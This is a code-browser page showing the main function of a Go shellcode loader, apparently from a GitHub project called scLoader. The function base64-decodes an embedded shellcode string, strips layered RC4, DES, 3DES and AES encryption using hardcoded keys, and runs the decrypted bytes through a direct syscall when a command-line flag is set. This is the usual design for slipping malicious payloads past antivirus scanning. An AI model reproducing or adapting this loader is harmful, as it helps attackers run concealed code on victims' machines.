MCPcopy Create free account
hub / github.com/Peithon/scLoader / main

Function main

loader/loader.go:106–141  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

104 syscall.Syscall(addr, 0, 0, 0, 0)
105}
106func main() {
107
108 shellcode := ""
109 encodestr := "des,rc4,aes,3des,base64"
110 slice := strings.Split(encodestr, ",")
111 //BASE64解码
112 shell, err := base64.StdEncoding.DecodeString(shellcode)
113 checkErr(err)
114 for i := len(slice) - 2; i > -1; i-- {
115 if strings.EqualFold(slice[i], "rc4") {
116 key := []byte("momohk")
117 cipher2, _ := rc4.NewCipher(key)
118 cipher2.XORKeyStream(shell, shell)
119 } else if strings.EqualFold(slice[i], "des") {
120 //des解密
121 shell, _ = DesDecrypt(shell, []byte("vikeryoo"))
122 } else if strings.EqualFold(slice[i], "3des") {
123 //3des解密
124 shell, _ = TripleDesDecrypt(shell, []byte("123456789012345678901234"), []byte("yoooyooq"))
125 } else if strings.EqualFold(slice[i], "aes") {
126 //AES解密
127 shell = AesDecryptCBC(shell, []byte("yoolaescbcuuyool"))
128 }
129 //fmt.Println(slice[i])
130 }
131
132 //fmt.Println(hex.EncodeToString(shell))
133 //fmt.Println(len(os.Args))
134 //loader.exe -token
135 flag.BoolVar(&token, "token", false, "run shellcode")
136 flag.Parse()
137 if token {
138 runCode(shell)
139 }
140
141}

Callers

nothing calls this directly

Calls 5

checkErrFunction · 0.85
runCodeFunction · 0.85
DesDecryptFunction · 0.70
TripleDesDecryptFunction · 0.70
AesDecryptCBCFunction · 0.70

Tested by

no test coverage detected